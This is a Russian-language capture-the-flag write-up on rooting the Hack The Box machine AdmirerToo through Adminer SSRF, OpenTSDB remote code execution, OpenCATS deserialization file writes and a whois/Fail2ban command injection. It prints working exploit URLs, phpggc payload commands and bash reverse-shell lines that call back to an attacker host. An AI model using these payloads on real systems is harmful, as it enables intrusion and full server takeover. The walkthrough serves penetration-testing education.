HTB AdmirerToo. Захватываем сервер через Fail2ban

HTB AdmirerToo. Захватываем сервер через Fail2ban

https://t.me/xakep_1

RalfHacker

В этом рай­тапе я покажу, как экс­плу­ати­ровать Adminer, OpenTSDB и OpenCATS. Для повыше­ния при­виле­гий будем исполь­зовать ком­бинацию уяз­вимос­тей и неп­равиль­ных кон­фигура­ций ПО: уяз­вимость про­изволь­ной записи фай­лов OpenCATS для кон­фигура­ции whois, whois для получе­ния и инъ­екции коман­ды тер­минала ОС в Fail2ban и Fail2ban для ее акти­вации. Все это — в рам­ках про­хож­дения слож­ной машины AdmirerToo с пло­щад­ки Hack The Box.

РАЗВЕДКА

До­бав­ляем IP-адрес машины в /etc/hosts для удобс­тва:


10.10.11.137 admirertoo.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та.

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Ре­зуль­тат работы скрип­та

Скрипт нашел все­го два откры­тых пор­та: 22 — служ­ба OpenSSH 7.9p1 и 80 — веб‑сер­вер Apache 2.4.38.

На­чина­ем тра­дици­онно с веба.

Глав­ная стра­ница сай­та

Пер­вым делом прос­каниру­ем сайт на наличие скры­тых ресур­сов.

Справка: сканирование веба c ffuf

Од­но из пер­вых дей­ствий при тес­тирова­нии безопас­ности веб‑при­ложе­ния — это ска­ниро­вание методом перебо­ра катало­гов, что­бы най­ти скры­тую информа­цию и недос­тупные обыч­ным посети­телям фун­кции. Для это­го мож­но исполь­зовать прог­раммы вро­де dirsearch и DIRB.

Я пред­почитаю лег­кий и очень быс­трый ffuf. При запус­ке ука­зыва­ем сле­дующие парамет­ры:

  • -w — сло­варь (я исполь­зую сло­вари из набора SecLists);
  • -t — количес­тво потоков;
  • -u — URL;
  • -fc — исклю­чить из резуль­тата отве­ты с кодом 403.

За­пус­каем ffuf:

ffuf -u http://admirertoo.htb/FUZZ -t 256 -w files_interesting.txt -fc 403

Ре­зуль­тат ска­ниро­вания катало­гов с помощью ffuf

Ни­чего най­ти не уда­лось. Зато ког­да я попытал­ся перей­ти на точ­но не сущес­тву­ющую стра­ницу, я получил ссыл­ку на домен admirer-gallery.htb.

Ошиб­ка Not Found

До­бавим най­ден­ный домен в файл /etc/hosts и пов­торим ска­ниро­вание на новом домене. Так най­дем новый под­домен!

10.10.11.137 admirertoo.htb admirer-gallery.htb

ffuf -u http://admirer-gallery.htb -t 256 -w subdomains-top1million-110000.txt -H 'Host: FUZZ.admirer-gallery.htb' -fs 14099

Ре­зуль­тат ска­ниро­вания под­доменов

Его тоже добав­ляем в /etc/hosts и получа­ем дос­туп к панели авто­риза­ции Adminer.

10.10.11.137 admirertoo.htb admirer-gallery.htb db.admirer-gallery.htb

Стра­ница авто­риза­ции Adminer

Adminer — это лег­ковес­ный инс­тру­мент адми­нис­три­рова­ния СУБД, что‑то вро­де лег­кого вари­анта phpMyAdmin. Так как авто­риза­ция про­исхо­дит по нажатию на кноп­ку, зна­чит, учет­ные дан­ные уже дол­жны быть в исходном коде стра­ницы.

Ис­ходный код стра­ницы

Так мы находим имя поль­зовате­ля и пароль. Но сама панель Adminer ничего, кро­ме номера вер­сии, нам не рас­кры­вает.

Ра­бочая панель Adminer

 

ТОЧКА ВХОДА

Раз мы зна­ем номер вер­сии, сто­ит поис­кать сущес­тву­ющие экс­пло­иты. Делать это я рекомен­дую при помощи Google.


По­иск экс­пло­итов для Adminer 4.7.8

Так мы находим инс­трук­цию с опи­сани­ем уяз­вимос­ти (PDF). Этот баг поз­волит нам прос­каниро­вать внут­ренние ресур­сы, а имен­но пор­ты. Как ука­зано в статье, запус­тим скрипт‑редирек­тор.

python2 redirect.py -p 80 http://127.0.0.1

За­тем я решил переб­рать воз­можные СУБД. Их спи­сок есть в до­кумен­тации Adminer, а для перебо­ра я исполь­зовал Burp.

Спи­сок под­держи­ваемых СУБД
Зап­рос на сер­вер

Вмес­то server встав­ляем СУБД, а вмес­то localhost — свой локаль­ный IP-адрес. Для некото­рых СУБД получим ответ с записью () admirer_ro..., а в дру­гих слу­чаях сов­сем ничего.

От­вет сер­вера

Тог­да я нашел исходни­ки Adminer на GitHub и пос­мотрел, как ука­зыва­ются раз­ные модули.

Спи­сок модулей

И пер­вый же модуль elastic дела­ет зап­рос на наш хост.

Зап­рос на сер­вер
Ло­ги редирек­тора

А в бра­узе­ре получа­ем код HTML-стра­ницы с сер­вера. Это зна­чит, что мы добились от сер­вера выпол­нения про­изволь­ного зап­роса на дру­гой ресурс.

От­вет сер­вера

 

ТОЧКА ОПОРЫ

Те­перь нам нуж­но най­ти внут­ренние сер­висы и получить какую‑нибудь информа­цию от них. Искать их ска­ниро­вани­ем через най­ден­ную уяз­вимость — дело дол­гое и тру­доем­кое, поэто­му нач­нем с поис­ка пор­тов, под­клю­чение к которым филь­тру­ется. Для это­го выпол­ним SYN-ска­ниро­вание.


nmap -p- -sS admirertoo.htb

Ре­зуль­тат ска­ниро­вания пор­тов

Мы наш­ли порт 4242. Получим ответ от сер­виса, исполь­зовав опи­сан­ную выше ата­ку. Для обра­щения к инте­ресу­ющим нас стра­ницам будем переза­пус­кать редирек­тор.

python2 redirect.py -p 80 -i 10.10.14.54 http://127.0.0.1:4242/

От­вет сер­виса на пор­те 4242

Там раз­вернут OpenTSDB. Это рас­пре­делен­ная и мас­шта­биру­емая база дан­ных вре­мен­ных рядов на осно­ве HBase, которая собира­ет инди­като­ры кон­тро­лиру­емых объ­ектов и сох­раня­ет их во вре­мен­ной пос­ледова­тель­нос­ти. Зап­рашивая парамет­ры опре­делен­ного инди­като­ра в течение кон­крет­ного пери­ода, поль­зователь может видеть про­исхо­дящие изме­нения. Так как зап­росов при­дет­ся выпол­нять мно­го, добавим в нас­трой­ках Burp Proxy опцию Match/Replace, которая будет авто­мати­чес­ки заменять в каж­дом зап­росе целевой модуль и адрес сер­вера.

Нас­трой­ка поис­ка и замены

А теперь поп­робу­ем узнать вер­сию OpenTSDB. Пос­мотреть ее мож­но, обра­тив­шись по адре­су /api/version/.

python2 redirect.py -p 80 -i 10.10.14.54 http://127.0.0.1:4242/api/version/

По­луче­ние вер­сии про­дук­та

По­луча­ем вер­сию 2.4.0. И сно­ва ищем уяз­вимос­ти в ней.

По­иск экс­пло­итов для OpenTSDB 2.4.0

Эта вер­сия уяз­вима, и для уяз­вимос­ти есть PoC. Пра­виль­ная экс­плу­ата­ция может дать нам уда­лен­ное выпол­нение кода (RCE). Воз­можно, это потому, что зна­чение получен­ных парамет­ров записы­вает­ся во вре­мен­ный файл, который потом выпол­няет­ся. Для тес­та запус­тим tcpdump с филь­тром про­токо­ла ICMP и поп­робу­ем пин­гануть свой хост с уда­лен­ного сер­вера.

sudo tcpdump -i tun0 icmp

python2 redirect.py -p 80 -i 10.10.14.54 'http://127.0.0.1:4242/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system(%27ping+-c+4+10.10.14.54%27)]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json'

От­вет сер­вера

Но никако­го пин­га не приш­ло, а в отве­те получа­ем какую‑то ошиб­ку. Решение проб­лемы уда­лось най­ти на StackOverflow. Так, в PoC исполь­зует­ся мет­рика sys.cpu.nice, которой не сущес­тву­ет. Поп­робу­ем узнать, какие есть мет­рики.

python2 redirect.py -p 80 -i 10.10.14.54 'http://127.0.0.1:4242/api/suggest?type=metrics'

По­луче­ние мет­рики

Те­перь вста­вим это зна­чение в экс­пло­ит и пов­торим зап­рос.

python2 redirect.py -p 80 -i 10.10.14.54 'http://127.0.0.1:4242/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:http.stats.web.hits&o=&ylabel=&xrange=10:10&yrange=[33:system(%27ping+-c+4+10.10.14.54%27)]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json'

Ло­ги tcpdump

В логах tcpdump видим при­шед­ший пинг. Теперь сге­нери­руем реверс‑шелл и поп­робу­ем получить бэк­коннект. Для это­го я вос­поль­зуюсь онлай­новым генера­тором Reverse Shell Generator. Ему нуж­но ука­зать лишь локаль­ный адрес, порт и шелл, и мы получим две коман­ды: для запус­ка лис­тенера и для соз­дания обратно­го под­клю­чения. Вдо­бавок есть нес­коль­ко воз­можнос­тей для кодиро­вания шел­ла.

Ге­нери­рова­ние шел­ла Bash c кодиро­вани­ем Base64

Для запус­ка это­го шел­ла исполь­зуем кон­вей­ер команд.

echo <base64 shell> | base64 -d | /bin/bash

Но наг­рузку нуж­но еще и закоди­ровать как URL. Я поль­зуюсь рас­ширени­ем HackVector для Burp Pro.

Ко­диро­вание коман­ды

За­пус­каем лис­тенер и отправ­ляем коман­ду.

python2 redirect.py -p 80 -i 10.10.14.57 'http://127.0.0.1:4242/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:http.stats.web.hits&o=&ylabel=&xrange=10:10&yrange=[33:system(<COMMAND>)]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json'

По­луче­ние бэк­коннек­та

 

ПРОДВИЖЕНИЕ

Так как на хос­те раз­вернут веб‑сер­вер, а на нем работа­ет даже две CMS, то пер­вое наше дей­ствие — поп­робовать получить какие‑нибудь учет­ные дан­ные поль­зовате­лей. Высока веро­ятность, что эти же логины и пароли подой­дут и для локаль­ных поль­зовате­лей в сис­теме. Я решил прос­то най­ти подс­тро­ку pass в фай­лах CMS.


grep -iR 'pass' ./

По­иск подс­тро­ки pass

И в пер­вом же фай­ле видим целых два пароля, один из которых нам уже был известен.

Со­дер­жимое фай­ла servers.php

Па­роль наш­ли, оста­лось пос­мотреть на сущес­тву­ющих поль­зовате­лей. Мож­но взгля­нуть на домаш­ние катало­ги.

Спи­сок домаш­них катало­гов

В сис­теме все­го один домаш­ний каталог. С най­ден­ным паролем уда­ется авто­ризо­вать­ся от име­ни его вла­дель­ца.

Флаг поль­зовате­ля

 

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

 


Поиск информации

Что­бы быс­тро най­ти воз­можнос­ти для повыше­ния при­виле­гий, я исполь­зую скрип­ты PEASS.


Справка: скрипты PEASS для Linux (загрузка через Python и Wget)

Что делать пос­ле того, как мы получи­ли дос­туп в сис­тему от име­ни поль­зовате­ля? Вари­антов даль­нейшей экс­плу­ата­ции и повыше­ния при­виле­гий может быть очень мно­го, как в Linux, так и в Windows. Что­бы соб­рать информа­цию и наметить цели, мож­но исполь­зовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скрип­тов, которые про­веря­ют сис­тему на авто­мате. Как заг­рузить их на уда­лен­ный хост, я под­робно опи­сывал в пре­дыду­щих про­хож­дени­ях.

Заг­ружа­ем вер­сию для Linux на хост и запус­каем скрипт.

Сре­ди най­ден­ной им важ­ной информа­ции в пер­вую оче­редь замеча­ем пор­ты, откры­тые толь­ко для локаль­ного хос­та.

Спи­сок откры­тых пор­тов

На пор­те 8080 работа­ет сис­тема управле­ния кон­тентом OpenCATS.

Нас­трой­ки VirtualHost

На хос­те акти­вен Fail2ban.

Спи­сок сокетов

Так­же находим учет­ные дан­ные для под­клю­чения к базе дан­ных OpenCATS.

Учет­ные дан­ные, най­ден­ные в фай­лах PHP

Ну и пос­ледний момент — мы наш­ли фай­лы и катало­ги, дос­тупные для записи любому поль­зовате­лю.

Спи­сок фай­лов, дос­тупных для записи

 

OpenCATS CMS

Пе­рей­дем к OpenCATS. Это опен­сор­сный инс­тру­мент, который поз­воля­ет рек­рутерам работать с дан­ными о пер­сонале ком­пании. Обра­тим­ся к нему через бра­узер, и нас встре­тит фор­ма авто­риза­ции. На той же стра­нице ука­зан номер про­дук­та.


Па­нель авто­риза­ции OpenCATS

Что делать, если мы зна­ем вер­сию какой‑то соф­тины? Пра­виль­но, искать информа­цию об уяз­вимос­тях в ней. Пер­вая же ссыл­ка в Google — на опи­сание бага с номером CVE.

По­иск экс­пло­итов в Google

Проб­лема в том, что экс­плу­ата­ция этой уяз­вимос­ти воз­можна, толь­ко если мы уже авто­ризо­ваны на сай­те. Но мы можем получить пароль адми­нис­тра­тора CMS пря­мо из базы дан­ных, под­клю­чить­ся к которой помогут учет­ные дан­ные, получен­ные на эта­пе поис­ка информа­ции.

mariadb -h 127.0.0.1 -u cats -padm1r3r0fc4ts

use cats_dev;

Под­клю­чение к базе дан­ных OpenCATS

С помощью коман­ды show tables; най­дем таб­лицу, содер­жащую учет­ные дан­ные поль­зовате­лей.

Таб­лицы в базе дан­ных OpenCATS

Нас инте­ресу­ет таб­лица user, а имен­но ее стол­бцы user_name и password.

select user_name,password from user;

По­луче­ние логинов и хешей паролей

Ско­рее все­го, это хеши MD5, но взло­мать их не выш­ло. Тог­да появи­лась идея заменить хеш в таб­лице сво­им. Это поз­волит уста­новить адми­нис­тра­тору извес­тный нам пароль. Но перед этим пос­мотрим на при­виле­гии текуще­го поль­зовате­ля базы дан­ных.

show grants for 'cats'@'localhost';

При­виле­гии текуще­го поль­зовате­ля базы дан­ных

Мы име­ем пол­ные при­виле­гии на базу, поэто­му можем уста­новить свой пароль (я пос­тавил ralf_password).

update user set password = '80611e766bf21f75011a73b6dbf91cf9' where user_name = 'admin';

Из­менение записи в базе дан­ных

Из­менения вне­сены, и мы лег­ко авто­ризу­емся в OpenCATS от име­ни адми­на.

Глав­ная стра­ница OpenCATS

Те­перь перей­дем к замечен­ной ранее уяз­вимос­ти. В рам­ках обыч­ного поль­зователь­ско­го рабоче­го про­цес­са при­ложе­ние отправ­ляет сери­али­зован­ные дан­ные в парамет­ре parametersactivity:ActivityDataGrid. На сер­вере эти дан­ные десери­али­зуют­ся с помощью фун­кции unserialize. В PHP-модуле guzzlehttp мы можем выз­вать метод destruct() из фай­ла FileCookieJar.php, он рас­положен по такому пути:

guzzlehttp/guzzle/src/Cookie/FileCookieJar.php

В резуль­тате будет выз­ван метод save() и появит­ся воз­можность записать про­изволь­ные фай­лы в сис­теме. Имя фай­ла, куда будут записа­ны дан­ные, при­нима­ет тот же метод save().

Для сери­али­зации дан­ных мы будем исполь­зовать phpggc. Поп­робу­ем записать файл test_copy.txt с содер­жимым TEST_TEST в дос­тупный для записи каталог /dev/shm (мы наш­ли его на эта­пе сбо­ра информа­ции).

./phpggc -u --fast-destruct Guzzle/FW1 /dev/shm/test_copy.txt /tmp/test.txt

А теперь отпра­вим получен­ные дан­ные в парамет­ре parametersactivity:ActivityDataGrid.

Стра­ница Activities
Зап­рос в Burp Proxy

В ито­ге в катало­ге /dev/shm появил­ся файл test_copy.txt, содер­жащий наши дан­ные, но в сво­ем фор­мате. Так­же отме­чаем, что файл соз­дан от име­ни поль­зовате­ля devel.

Со­дер­жимое катало­га /dev/shm

Пря­мо получить кон­троль от име­ни это­го поль­зовате­ля не вый­дет, так как у него нет коман­дной обо­лоч­ки.

Со­дер­жимое фай­ла /etc/passwd

Тог­да най­дем все фай­лы и катало­ги текуще­го поль­зовате­ля.

find / -group devel 2>/dev/null

Фай­лы поль­зовате­ля devel

Боль­ше ничего не при­думав, я решил перей­ти к Fail2ban.

 

Whois + Fail2ban

Fail2ban — прос­той локаль­ный сер­вис, который отсле­жива­ет log-фай­лы запущен­ных прог­рамм и пос­ле нес­коль­ких неудач­ных попыток авто­риза­ции бло­киру­ет зап­росы с опре­делен­ного IP-адре­са. Спер­ва пос­мотрим, работа­ет ли Fail2ban и на какую служ­бу он реаги­рует.


Ста­тус сер­виса Fail2ban
Файл кон­фигура­ций Fail2ban

Мы видим, что Fail2ban акти­вен для служ­бы SSH. Я стал искать, как его мож­но исполь­зовать при пен­тестах, и нашел опи­сание уяз­вимос­ти, которая может дать нам уда­лен­ное выпол­нение кода (RCE).

Суть бага зак­люча­ется в том, что Fail2ban в слу­чае бло­киров­ки исполь­зует Mailutils, что­бы отпра­вить сооб­щение с информа­цией о заб­локиро­ван­ном адре­се, для чего ему нуж­но выпол­нить коман­ду whois. Если передать пос­ледова­тель­ность ~!, то мож­но выпол­нить свою коман­ду. Таким обра­зом, если у нас получит­ся кон­тро­лиро­вать вывод whois, мы можем передать в коман­дную обо­лоч­ку свой реверс‑шелл!

Сре­ди катало­гов, дос­тупных для записи поль­зовате­лю devel, есть /usr/local/etc/, куда мож­но помес­тить файл кон­фигура­ций whois.conf. Через уяз­вимость в OpenCats запишем наш тес­товый файл как кон­фиг, а потом для про­вер­ки выпол­ним коман­ду whois.

./phpggc -u --fast-destruct Guzzle/FW1 /usr/local/etc/whois.conf /tmp/test.txt

Про­вер­ка работы whois

Кон­фиг был записан и при­менен. Но OpenCATS добав­ляет свои дан­ные, поэто­му whois не может рас­парсить адрес. Эту проб­лему тоже мож­но решить, исполь­зовав регуляр­ные выраже­ния, а имен­но опе­рацию OR (|) и любой сим­вол (.). При этом поп­робу­ем зак­рыть добав­ленные OpenCATS теги JSON. Таким обра­зом, содер­жимое нашего фай­ла test.txt будет таким:

}]|. [10.10.14.54]

Сно­ва перепи­шем кон­фиг.

Соз­дание кон­фигура­ции whois
Про­вер­ка кон­фигура­ции whois

Те­перь при выпол­нении коман­ды whois сер­вис обра­тит­ся к служ­бе whois на наш сер­вер (порт 43). Затем мы дол­жны отдать ему реверс‑шелл с пос­ледова­тель­ностью ~|. Запишем наг­рузку в файл и будем выводить в кон­соль при под­клю­чении к netcat.

echo -n '~| bash -c "bash -i >& /dev/tcp/10.10.14.54/4321 0>&1" &' > /tmp/shell.txt

nc -nvlkp 43 -c "cat /tmp/shell.txt"

Все готово к основной экс­плу­ата­ции: при выпол­нении коман­ды whois получим реверс‑шелл, который будет передан Fail2ban и выпол­нен в кон­соли. Откро­ем лис­тенер на пор­те 4321 (rlwrap nc -lpv 4321) и поп­робу­ем выз­вать сра­баты­вание Fail2ban, попытав­шись нес­коль­ко раз авто­ризо­вать­ся по SSH.

По­пыт­ки под­клю­чить­ся к SSH

Пос­ле сооб­щении о сбро­се под­клю­чения получим бэк­коннект на свой лис­тенер.

Флаг рута

Ма­шина зах­вачена, и у нас есть флаг рута!

 Читайте ещё больше платных статей бесплатно: https://t.me/xakep_1



Report Page